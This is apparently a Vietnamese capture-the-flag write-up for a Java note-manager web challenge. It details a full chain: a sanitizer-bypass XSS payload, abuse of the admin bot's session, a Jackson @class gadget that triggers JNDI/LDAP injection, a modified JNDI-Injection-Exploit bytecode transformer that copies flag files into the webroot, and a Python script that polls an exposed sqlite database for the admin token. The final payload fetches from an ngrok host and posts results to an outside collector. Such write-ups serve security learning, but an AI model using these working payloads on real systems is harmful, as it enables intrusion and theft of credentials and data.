---
# System prepended metadata

title: Manager-book - wanagame 2025

---

# Manager-book

![1](https://hackmd.io/_uploads/ryROdeNf-l.png)

Việc dùng innerHTML và việc thấy bot ở trong source khiến ta nghĩ ngay đến XSS -> note content được sanitize không strict dẫn đến việc bypass:

```javascript
function sanitize(html) {
        return renderSimpleMarkdown(escapeHtml(html));
    }

function escapeHtml(html) {
    return html
        .replace(/&/, "&amp;")
        .replace(/</, "&lt;")
        .replace(/>/, "&gt;")
        .replace(/"/, "&quot;")
        .replace(/'/, "&apos;")
}

function renderSimpleMarkdown(text) {
    return text
        .replace(/^### (.*)$/gm, '<h3>$1</h3>')
        .replace(/`([^`]+)`/g, '<code>$1</code>')
        .replace(/\*([^*\n]+)\*/g, '<em>$1</em>')
        .replace(/\*\*([^*]+)\*\*/g, '<strong>$1</strong>')
        .replace(/!\[([^\]]*)\]\(([^)]+)\)/g, '<img src="$2" alt="$1" height="48" width="48">');
}
```

Việc không dùng flag `g` trong regex khiến chỉ các kí tự đặc biệt cần được escapeHTML sẽ chỉ bị detect mỗi kí tự đầu tiên. Sau đó nó được xử lý với `renderSimpleMarkdown` mục đích chính của hàm này là convert từ markdown sang HTML.

Ví dụ như sau:

```
<img src=1><img src="x" onerror="alert(1)">
```

pipe 1: khi vào escapeHtml nó chỉ thay thế các kí tự đầu -> nên output là `&lt;img src=1&gt;<img src="x" onerror="alert(1)">`

pipe 2: khi vào renderSimpleMarkdown `&lt;img src=1&gt;<img src="x" onerror="alert(1)">` không match với kí tự nào cho nên là output còn nguyên vẹn.

Tương tự thì có khá nhiều cách khác có thể dùng để bypass.
 
 ý tưởng: xss được nhưng HTTP only lên không thể steal cookie của admin(bot), cho nên ta sẽ dùng option `credentials: 'include'` cho phép sử dụng cred để gọi các api với role của bot luôn -> ta xác nhận được rằng tại AdminController sẽ cho phép người dùng admin sửa đổi siteConfig và ở đây với SiteConfig instance ta có thể truyền thêm giá trị của attribute `dbIntegrityHelper` trong model SiteConfig:
 
 :::spoiler SiteConfig.java
```java
package com.lqc.models;

import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.annotation.JsonTypeInfo.As;
import com.fasterxml.jackson.annotation.JsonTypeInfo.Id;

public class SiteConfig {
    private int deleteAllNotesAfterMinutes = -1;
    private String siteTitle = "NoteManager";
    private String footerDescription = "NoSpaceAvailable";
    private boolean enableRegistration = true;
    @JsonTypeInfo(
        use = Id.CLASS,
        include = As.PROPERTY,
        property = "@class"
    )
    private Object dbIntegrityHelper = null;

    public SiteConfig() {
    }

    public int getDeleteAllNotesAfterMinutes() {
        return this.deleteAllNotesAfterMinutes;
    }

    public void setDeleteAllNotesAfterMinutes(int deleteAllNotesAfterMinutes) {
        this.deleteAllNotesAfterMinutes = deleteAllNotesAfterMinutes;
    }

    public String getSiteTitle() {
        return this.siteTitle;
    }

    public void setSiteTitle(String siteTitle) {
        this.siteTitle = siteTitle;
    }

    public String getFooterDescription() {
        return this.footerDescription;
    }

    public void setFooterDescription(String footerDescription) {
        this.footerDescription = footerDescription;
    }

    public boolean isEnableRegistration() {
        return this.enableRegistration;
    }

    public void setEnableRegistration(boolean enableRegistration) {
        this.enableRegistration = enableRegistration;
    }

    public Object getDbIntegrityHelper() {
        return this.dbIntegrityHelper;
    }

    public void setDbIntegrityHelper(Object dbIntegrityHelper) {
        this.dbIntegrityHelper = dbIntegrityHelper;
    }
}
```
:::


:::spoiler mã nguồn
```java
int interval = newConfig.getDeleteAllNotesAfterMinutes();
            if (interval >= 1) {
                ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor();
                ScheduledFuture<?> handler = scheduler.scheduleAtFixedRate(new NoteCleanupTask(context), (long)newConfig.getDeleteAllNotesAfterMinutes(), (long)newConfig.getDeleteAllNotesAfterMinutes(), TimeUnit.MINUTES);
                Object currentHandler = context.getAttribute("scheduler.handler");
                if (currentHandler instanceof ScheduledFuture) {
                    ((ScheduledFuture)currentHandler).cancel(true);
                    context.setAttribute("scheduler.handler", handler);
                } else {
                    context.setAttribute("scheduler.handler", handler);
                }
            }
```
:::

Nếu ta update được mà `interval` thì sẽ có threadschedule run `NoteCleanupTask` sau time interval đó:

:::spoiler NoteCleanupTask.java
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.lqc.jobs;

import com.lqc.models.SiteConfig;
import com.lqc.services.DBService;
import com.lqc.utils.DatabaseTransactionHelper;
import java.sql.Connection;
import java.sql.PreparedStatement;
import javax.servlet.ServletContext;
import javax.transaction.TransactionManager;

public class NoteCleanupTask implements Runnable {
    private final ServletContext ctx;

    public NoteCleanupTask(ServletContext ctx) {
        this.ctx = ctx;
    }

    public void run() {
        try {
            Object config = this.ctx.getAttribute("siteConfig");
            if (!(config instanceof SiteConfig)) {
                return;
            }

            if (((SiteConfig)config).getDeleteAllNotesAfterMinutes() <= 0) {
                return;
            }

            System.out.println("Starting cleanup task...");
            TransactionManager tm = DatabaseTransactionHelper.resolveTransactionManager(this.ctx);
            if (tm != null) {
                tm.begin();
            }

            try {
                Connection conn = DBService.getConnection();
                Throwable var23 = null;

                try {
                    PreparedStatement ps = conn.prepareStatement("DELETE FROM notes");
                    ps.executeUpdate();
                    if (tm != null) {
                        tm.commit();
                    }

                    System.out.println("Notes cleanup task completed.");
                } catch (Throwable var17) {
                    var23 = var17;
                    throw var17;
                } finally {
                    if (conn != null) {
                        if (var23 != null) {
                            try {
                                conn.close();
                            } catch (Throwable var16) {
                                var23.addSuppressed(var16);
                            }
                        } else {
                            conn.close();
                        }
                    }

                }
            } catch (Exception var19) {
                Exception e = var19;
                if (tm != null) {
                    try {
                        tm.rollback();
                    } catch (Exception var15) {
                        Exception e1 = var15;
                        e1.printStackTrace();
                    }
                }

                e.printStackTrace();
            }
        } catch (Exception var20) {
            Exception e = var20;
            e.printStackTrace();
        }

    }
}
```
:::

Method run này sẽ được gọi với schedule kia -> dòng `TransactionManager tm = DatabaseTransactionHelper.resolveTransactionManager(this.ctx);` được gọi:

:::spoiler DatabaseTransactionHelper.class
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.lqc.utils;

import com.lqc.models.SiteConfig;
import javax.servlet.ServletContext;
import javax.transaction.TransactionManager;
import net.sf.ehcache.transaction.manager.TransactionManagerLookup;

public class DatabaseTransactionHelper {
    public DatabaseTransactionHelper() {
    }

    public static TransactionManager resolveTransactionManager(ServletContext ctx) {
        Object config = ctx.getAttribute("siteConfig");
        if (!(config instanceof SiteConfig)) {
            return null;
        } else {
            Object helper = ((SiteConfig)config).getDbIntegrityHelper();
            if (helper == null) {
                return null;
            } else {
                try {
                    TransactionManagerLookup tml = (TransactionManagerLookup)helper;
                    return tml.getTransactionManager();
                } catch (Exception var4) {
                    return null;
                }
            }
        }
    }
}

```
:::

ở đây ta đã thấy để `getTransactionManager` thì helper sẽ phải implement TransactionManagerLookup để cast không bị lỗi

![image](https://hackmd.io/_uploads/B10tKmNfbe.png)

ở đây có 2 class và ta sẽ chọn: `DefaultTransactionManagerLookup`:

:::spoiler DefaultTransactionManagerLookup.java
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package net.sf.ehcache.transaction.manager;

import java.util.ArrayList;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Properties;
import java.util.Set;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
import javax.transaction.TransactionManager;
import net.sf.ehcache.CacheException;
import net.sf.ehcache.transaction.manager.selector.AtomikosSelector;
import net.sf.ehcache.transaction.manager.selector.BitronixSelector;
import net.sf.ehcache.transaction.manager.selector.GenericJndiSelector;
import net.sf.ehcache.transaction.manager.selector.GlassfishSelector;
import net.sf.ehcache.transaction.manager.selector.JndiSelector;
import net.sf.ehcache.transaction.manager.selector.NullSelector;
import net.sf.ehcache.transaction.manager.selector.Selector;
import net.sf.ehcache.transaction.manager.selector.WeblogicSelector;
import net.sf.ehcache.transaction.xa.EhcacheXAResource;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class DefaultTransactionManagerLookup implements TransactionManagerLookup {
    private static final Logger LOG = LoggerFactory.getLogger(DefaultTransactionManagerLookup.class.getName());
    private final Lock lock = new ReentrantLock();
    private final List<EhcacheXAResource> uninitializedEhcacheXAResources = new ArrayList();
    private volatile boolean initialized = false;
    private volatile Selector selector;
    private final JndiSelector defaultJndiSelector = new GenericJndiSelector();
    private final Selector[] transactionManagerSelectors;

    public DefaultTransactionManagerLookup() {
        this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
    }

    public void init() {
        if (!this.initialized) {
            this.lock.lock();

            try {
                Iterator<EhcacheXAResource> iterator = this.uninitializedEhcacheXAResources.iterator();

                while(iterator.hasNext()) {
                    if (this.getTransactionManager() == null) {
                        throw new CacheException("No Transaction Manager could be located, cannot initialize DefaultTransactionManagerLookup. Caches which registered an XAResource: " + this.getUninitializedXAResourceCacheNames());
                    }

                    EhcacheXAResource resource = (EhcacheXAResource)iterator.next();
                    this.selector.registerResource(resource, true);
                    iterator.remove();
                }
            } finally {
                this.lock.unlock();
            }

            this.initialized = true;
        }

    }

    private Set<String> getUninitializedXAResourceCacheNames() {
        Set<String> names = new HashSet();
        Iterator i$ = this.uninitializedEhcacheXAResources.iterator();

        while(i$.hasNext()) {
            EhcacheXAResource xar = (EhcacheXAResource)i$.next();
            names.add(xar.getCacheName());
        }

        return names;
    }

    public TransactionManager getTransactionManager() {
        if (this.selector == null) {
            this.lock.lock();

            try {
                if (this.selector == null) {
                    this.lookupTransactionManager();
                }
            } finally {
                this.lock.unlock();
            }
        }

        return this.selector.getTransactionManager();
    }

    private void lookupTransactionManager() {
        Selector[] arr$ = this.transactionManagerSelectors;
        int len$ = arr$.length;

        for(int i$ = 0; i$ < len$; ++i$) {
            Selector s = arr$[i$];
            TransactionManager transactionManager = s.getTransactionManager();
            if (transactionManager != null) {
                this.selector = s;
                LOG.debug("Found TransactionManager for {}", s.getVendor());
                return;
            }
        }

        this.selector = new NullSelector();
        LOG.debug("Found no TransactionManager");
    }

    public void register(EhcacheXAResource resource, boolean forRecovery) {
        if (this.initialized) {
            this.selector.registerResource(resource, forRecovery);
        } else {
            this.lock.lock();

            try {
                this.uninitializedEhcacheXAResources.add(resource);
            } finally {
                this.lock.unlock();
            }
        }

    }

    public void unregister(EhcacheXAResource resource, boolean forRecovery) {
        if (this.initialized) {
            this.selector.unregisterResource(resource, forRecovery);
        } else {
            this.lock.lock();

            try {
                Iterator<EhcacheXAResource> iterator = this.uninitializedEhcacheXAResources.iterator();

                while(iterator.hasNext()) {
                    EhcacheXAResource uninitializedEhcacheXAResource = (EhcacheXAResource)iterator.next();
                    if (uninitializedEhcacheXAResource == resource) {
                        iterator.remove();
                        break;
                    }
                }
            } finally {
                this.lock.unlock();
            }
        }

    }

    public void setProperties(Properties properties) {
        if (properties != null) {
            String jndiName = properties.getProperty("jndiName");
            if (jndiName != null) {
                this.defaultJndiSelector.setJndiName(jndiName);
            }
        }

    }
}
```
:::

Method này được gọi:

```java
public TransactionManager getTransactionManager() {
        if (this.selector == null) {
            this.lock.lock();

            try {
                if (this.selector == null) {
                    this.lookupTransactionManager();
                }
            } finally {
                this.lock.unlock();
            }
        }

        return this.selector.getTransactionManager();
    }
```

Nó gọi:

```java
    public TransactionManager getTransactionManager() {
        if (this.transactionManager == null) {
            this.transactionManager = this.doLookup();
        }

        return this.transactionManager;
    }
```
 
 Và mình có thể tùy ý truyền các thuộc tính của class đó cho nên là `transactionManager==null` -> `this.doLookup()` được gọi:
 
 ![image](https://hackmd.io/_uploads/Hy9bhm4Mbx.png)

:::spoiler JndiSelector.class
```java
protected TransactionManager doLookup() {
        InitialContext initialContext;
        try {
            initialContext = new InitialContext();
        } catch (NamingException var14) {
            NamingException ne = var14;
            LOG.debug("cannot create initial context", ne);
            return null;
        }

        TransactionManager var3;
        try {
            try {
                Object jndiObject = initialContext.lookup(this.getJndiName());
                if (jndiObject instanceof TransactionManager) {
                    var3 = (TransactionManager)jndiObject;
                    return var3;
                }
            } catch (NamingException var15) {
                LOG.debug("Couldn't locate TransactionManager for {} under {}", this.getVendor(), this.getJndiName());
            }

            var3 = null;
        } finally {
            try {
                initialContext.close();
            } catch (NamingException var13) {
                NamingException ne = var13;
                LOG.warn("error closing initial context", ne);
            }

        }

        return var3;
    }


public String getJndiName() {
    return this.jndiName;
}
```
:::

ở đây quay lại với bài toán jndi: `Object jndiObject = initialContext.lookup(this.getJndiName());`; giá trị `jndiName` ta hoàn toàn có thể control và máy chủ có mạng.


Tuy nhiên 1 vấn đề thêm đó là:

```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.lqc.security;

import java.security.Permission;

public class NoteSecurityManager extends SecurityManager {
    public NoteSecurityManager() {
    }

    public void checkExec(String cmd) {
        throw new SecurityException("You executed: " + cmd + ", nice try bro:)");
    }

    public void checkPackageAccess(String pkg) {
        if (pkg.contains("sun.misc.")) {
            throw new SecurityException("Private package: " + pkg);
        } else {
            super.checkPackageAccess(pkg);
        }
    }

    public void checkPermission(Permission perm) {
    }

    public void checkPermission(Permission perm, Object context) {
    }
}
```

Nó sẽ ngăn cản việc run các cmd và access vào package `pkg.contains("sun.misc.")` -> vì vậy để bypass nó thì ta chỉ cần không run cmd là được -> do đó ta sẽ dùng đọc file /flag-* và ghi ra web root của tomcat.

Ta chỉ cần đổi 1 chút của tool JNDI-Injection-Exploit là được -> sau đó build lại với maven:

:::spoiler Transformers
```java
package util;

import java.io.InputStream;
import org.objectweb.asm.*;

/**
 * @Classname Transformers
 * @Description Insert command to the template classfile
 * @Author Welkin
 */
public class Transformers {

    public static byte[] insertCommand(InputStream inputStream, String command) throws Exception {

        ClassReader cr = new ClassReader(inputStream);
        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
        ClassVisitor cv = new TransformClass(cw, command);

        cr.accept(cv, 2);
        return cw.toByteArray();
    }

    static class TransformClass extends ClassVisitor {

        String command;

        TransformClass(ClassVisitor classVisitor, String command) {
            super(Opcodes.ASM7, classVisitor);
            this.command = command;
        }

        @Override
        public MethodVisitor visitMethod(
                final int access,
                final String name,
                final String descriptor,
                final String signature,
                final String[] exceptions) {
            MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions);
            if (name.equals("<clinit>")) {
                return new TransformMethod(mv, command);
            } else {
                return mv;
            }
        }
    }

    static class TransformMethod extends MethodVisitor {

        String command;

        TransformMethod(MethodVisitor methodVisitor, String command) {
            super(Opcodes.ASM7, methodVisitor);
            this.command = command;
        }

        @Override
        public void visitCode() {
            super.visitCode();
            Label label0 = new Label();
            Label label1 = new Label();
            Label label2 = new Label();
            mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
            mv.visitLabel(label0);

            // String searchDir = command; (e.g., "/")
            mv.visitLdcInsn(command);
            mv.visitVarInsn(Opcodes.ASTORE, 0);

            // DirectoryStream<Path> stream = Files.newDirectoryStream(Paths.get(searchDir), "flag-*");
            mv.visitVarInsn(Opcodes.ALOAD, 0);
            mv.visitInsn(Opcodes.ICONST_0);
            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String");
            mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Paths", "get",
                    "(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;", false);
            mv.visitLdcInsn("flag-*");
            mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Files", "newDirectoryStream",
                    "(Ljava/nio/file/Path;Ljava/lang/String;)Ljava/nio/file/DirectoryStream;", false);
            mv.visitVarInsn(Opcodes.ASTORE, 1); // stream

            // Iterator<Path> iterator = stream.iterator();
            mv.visitVarInsn(Opcodes.ALOAD, 1);
            mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/nio/file/DirectoryStream", "iterator",
                    "()Ljava/util/Iterator;", true);
            mv.visitVarInsn(Opcodes.ASTORE, 2); // iterator

            // while (iterator.hasNext())
            Label loopStart = new Label();
            Label loopEnd = new Label();
            mv.visitLabel(loopStart);
            mv.visitVarInsn(Opcodes.ALOAD, 2);
            mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/util/Iterator", "hasNext",
                    "()Z", true);
            mv.visitJumpInsn(Opcodes.IFEQ, loopEnd);

            // Path filePath = iterator.next();
            mv.visitVarInsn(Opcodes.ALOAD, 2);
            mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/util/Iterator", "next",
                    "()Ljava/lang/Object;", true);
            mv.visitTypeInsn(Opcodes.CHECKCAST, "java/nio/file/Path");
            mv.visitVarInsn(Opcodes.ASTORE, 3); // filePath

            // byte[] fileBytes = Files.readAllBytes(filePath);
            mv.visitVarInsn(Opcodes.ALOAD, 3);
            mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Files", "readAllBytes",
                    "(Ljava/nio/file/Path;)[B", false);
            mv.visitVarInsn(Opcodes.ASTORE, 4); // fileBytes

            // Path outPath = Paths.get("/usr/local/tomcat/webapps/ROOT/l3mnt2010.txt");
            mv.visitLdcInsn("/usr/local/tomcat/webapps/ROOT/l3mnt2010.txt");
            mv.visitInsn(Opcodes.ICONST_0);
            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String");
            mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Paths", "get",
                    "(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;", false);
            mv.visitVarInsn(Opcodes.ASTORE, 5); // outPath

            // Files.write(outPath, fileBytes);
            mv.visitVarInsn(Opcodes.ALOAD, 5); // outPath
            mv.visitVarInsn(Opcodes.ALOAD, 4); // fileBytes
            mv.visitInsn(Opcodes.ICONST_0);
            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/nio/file/OpenOption");
            mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Files", "write",
                    "(Ljava/nio/file/Path;[B[Ljava/nio/file/OpenOption;)Ljava/nio/file/Path;", false);
            mv.visitInsn(Opcodes.POP);

            // Break after first file (only process one file)
            mv.visitJumpInsn(Opcodes.GOTO, loopEnd);

            mv.visitLabel(loopEnd);

            // stream.close();
            mv.visitVarInsn(Opcodes.ALOAD, 1);
            mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/nio/file/DirectoryStream", "close",
                    "()V", true);

            mv.visitLabel(label1);
            Label label3 = new Label();
            mv.visitJumpInsn(Opcodes.GOTO, label3);

            // } catch (Exception e) { e.printStackTrace(); }
            mv.visitLabel(label2);
            mv.visitVarInsn(Opcodes.ASTORE, 0);
            mv.visitVarInsn(Opcodes.ALOAD, 0);
            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
            mv.visitLabel(label3);
        }
    }
}
```
:::

Sau đó run jndi: `java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/" -A "IP-VPS"`

Lúc này việc khó nhằn nhất có vẻ đã xong -> tiếp theo là làm sao để lấy được `secretAccessToken` khi cho dù có lên được admin thì vẫn không thể đọc nó:

![image](https://hackmd.io/_uploads/BJ---VVGZg.png)

Lược lại 1 vòng nữa code - và xem trong docker container, này có vẻ là do author muốn đánh lừa 1 chút:

![image](https://hackmd.io/_uploads/BJxY-44MWg.png)

Và `ConfigLoaderListener` đã move nó vào web-root khi init:

:::spoiler ConfigLoaderListener
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.lqc.listeners;

import com.lqc.models.SiteConfig;
import com.lqc.security.NoteSecurityManager;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import javax.servlet.ServletContext;
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class ConfigLoaderListener implements ServletContextListener {
    public ConfigLoaderListener() {
    }

    public void contextInitialized(ServletContextEvent sce) {
        ServletContext context = sce.getServletContext();
        SiteConfig siteConfig = new SiteConfig();
        context.setAttribute("siteConfig", siteConfig);
        Path filePath = Paths.get("/usr/local/tomcat/webapps/ROOT/sqlite/authentication.db");
        Path parent = filePath.getParent();
        if (Files.notExists(parent, new LinkOption[0])) {
            try {
                Files.createDirectories(parent);
            } catch (IOException var9) {
                IOException e = var9;
                throw new RuntimeException(e);
            }
        }

        if (Files.notExists(filePath, new LinkOption[0])) {
            Path source = Paths.get("/tmp/authentication.db");

            try {
                Files.move(source, filePath, StandardCopyOption.REPLACE_EXISTING);
                Files.deleteIfExists(source);
            } catch (IOException var8) {
                IOException e = var8;
                throw new RuntimeException(e);
            }
        }

        System.setSecurityManager(new NoteSecurityManager());
    }

    public void contextDestroyed(ServletContextEvent sce) {
    }
}
```
:::

Và sqlite cũng connect file .db ở trong path này:

:::spoiler DBService
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.lqc.services;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class DBService {
    public DBService() {
    }

    public static Connection getConnection() throws SQLException {
        String url = "jdbc:sqlite:/usr/local/tomcat/webapps/ROOT/sqlite/authentication.db";

        try {
            Class.forName("org.sqlite.JDBC");
        } catch (Exception var2) {
            Exception e = var2;
            e.printStackTrace();
            return null;
        }

        return DriverManager.getConnection(url);
    }
}
```
:::

Ok vậy giờ đã có thể gọi được config của admin -> tự nhiên lại sinh ra 1 vấn đề nữa ``(¯\_(ツ)_/¯)`` đó là mỗi lần bot(admin) login lại `username:admin` thì token lại generate tiếp một value khác và lưu vào db, stuck tầm 3 4ph thì mình nghĩ ra một idea như sau:

Bây giờ mình sẽ host 1 python server sẽ trả về `secretAccessToken` gần như là realtime sau đó grep regex `admin([a-fA-F0-9]{64})([a-fA-F0-9]{64})` vì khi run os strings sẽ luôn nhận được chuỗi này: (mình nghĩ là do khi get file này qua http nó bị lỗi file format cho nên dùng sqliter select không được - hoặc do vấn đề kỹ năng:v)

```python
import requests
import time
import os
import re
from flask import Flask, Response
import threading

DB_URL = "http://challenge.cnsc.com.vn:31528/sqlite/authentication.db"
DB_FILE = "authentication.db"
CHECK_INTERVAL = 0.1

OLD_TOKEN = "0d0dce66f6e14f8404cf415b186eddce2fbbac5ce205c30913ac6c660f050ff2".lower()
latest_token = None

def fetch_db():
    r = requests.get(DB_URL, timeout=10)
    with open(DB_FILE, "wb") as f:
        f.write(r.content)

def extract_token_by_strings(db_path):
    with os.popen(f"strings {db_path}") as f:
        lines = f.readlines()
    for idx, line in enumerate(lines):
        line = line.strip()
        m = re.search(r'admin([a-fA-F0-9]{64})([a-fA-F0-9]{64})', line)
        if m:
            return m.group(2)
        if 'admin' in line:
            if idx + 1 < len(lines):
                nxt = lines[idx+1].strip()
                m2 = re.match(r'^[a-fA-F0-9]{64}$', nxt)
                if m2:
                    return nxt
    return None

def poll_token():
    global latest_token
    while True:
        try:
            fetch_db()
            token = extract_token_by_strings(DB_FILE)
            if token and token.lower() != OLD_TOKEN:
                if not latest_token or token.lower() != latest_token.lower():
                    print(token)
                    latest_token = token
                    with open("new_token.txt", "w") as fout:
                        fout.write(token)
        except Exception:
            pass
        time.sleep(CHECK_INTERVAL)

app = Flask(__name__)

@app.route("/")
def index():
    resp = Response(latest_token if latest_token else "No token found yet.", mimetype="text/plain")
    resp.headers["Access-Control-Allow-Origin"] = "*"
    return resp

if __name__ == "__main__":
    threading.Thread(target=poll_token, daemon=True).start()
    app.run(host="0.0.0.0", port=8000)
```

Cuối cùng giờ sẽ tạo xss sau đó fetch token mới nhất rồi gọi ldap trigger -> cuối cùng gửi cho bot(admin)

```javascript
<img src=1><img src="x" onerror="(function loopFetchToken() {
    fetch('http://0.tcp.ap.ngrok.io:12071/')
    .then(r => r.text())
    .then(token => {
        token = token.trim();
        if(token && token.indexOf('No token') !== 0) {
            fetch('/api/admin/config', {
                method: 'POST',
                credentials: 'include',
                body: JSON.stringify({
                    settings: {
                        footerDescription: 'aaaaaaaaaa',
                        siteTitle: 'aaaaaaaaaaaa',
                        deleteAllNotesAfterMinutes: 1,
                        enableRegistration: true,
                        dbIntegrityHelper: {
                            '@class': 'net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup',
                            properties: {
                                jndiName: 'ldap://flag/3g4vrm'
                            }
                        }
                    },
                    secretAccessToken: token
                })
            })
            .then(response => response.json())
            .then(data => {
                fetch('https://c8m5zixc.requestrepo.com/leak', {
                    method: 'POST',
                    body: JSON.stringify(data)
                });
            });
        }
        setTimeout(loopFetchToken, 100);
    });
})()">
```


![image](https://hackmd.io/_uploads/H1jF6SXG-e.png)

flag: `W1{SaNDwlCH_aS_@_DeSSErT^^PL3aS3_dm-@No5P@ceav@1lABle_on_discord_and_show_your_solution0}`